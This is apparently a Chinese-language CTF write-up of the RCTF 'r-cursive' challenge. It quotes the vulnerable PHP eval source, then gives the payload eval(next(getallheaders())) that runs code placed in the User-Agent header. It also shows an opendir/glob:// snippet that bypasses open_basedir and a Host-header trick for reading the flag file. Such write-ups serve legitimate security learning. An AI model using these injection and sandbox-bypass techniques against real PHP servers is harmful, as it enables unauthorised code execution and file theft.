这次的rctf没怎么看,傍晚开始看 r-cursive 这题,源码特别简单:
index.php
<?php
sha1($_SERVER['REMOTE_ADDR']) === '9944105bfb8294278dbf87f4c52e8476ebf9ab68' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
这里主要有正则,preg_replace('/[^\W_]+((?R)?)/', NULL, $_GET['cmd']),\w 就很烦人了,所以首先要做的就是过这个正则达到任意执行。通过构造cmd=eval(next(getallheaders()));在请求头里插入可执行代码来达到任意执行(这里不止next可以用,主要就是决定你构造代码放在header的什么位置,还有implode,end.....都可以用)我用的是next就是,执行代码插在user_agent中:那么接下来也就是要列出目录,找到flag文件了,这里卡了好久,主要要做的就是绕过openbase_dir的限制,把出了/tmp目录和index.php所在目录除外的其他目录给列出来
最后通过opendir + glob://协议列出目录:if($dh=opendir("glob:///var*/www*/sandbox*/*")){while(($file=readdir($dh))!==false){echo"$file\n";}closedir($dh);} 一波谜一样的操作
发现众多token文件夹后面夹生这init.php和php.ini,猜测flag应该是放在init.php里了,但是我们的权限是在 78854209fa4889d51dd0016ceab319f852d90ec9 文件夹下面的,因为vhost_alias的配置的原因,所以我们默认进入网站的时候是在token目录下的,因为openbase_dir的限制,直接读取init.php文件是读不到的
这里可以想想因为我们默认是在token文件夹里,所以我们可以正常读取index.php的源码,那如果我们出了token文件夹,那也就可以正常读取init.php文件了所以我们可以修改请求时的URL:http://78854209fa4889d51dd0016ceab319f852d90ec9.sandbox.r-cursive.ml:1337/78854209fa4889d51dd0016ceab319f852d90ec9/?cmd=eval(next(getallheaders())); 修改请求头中的HOST为:.sandbox.r-cursive.ml:1337,利用file_get_contents()函数来读取init.php文件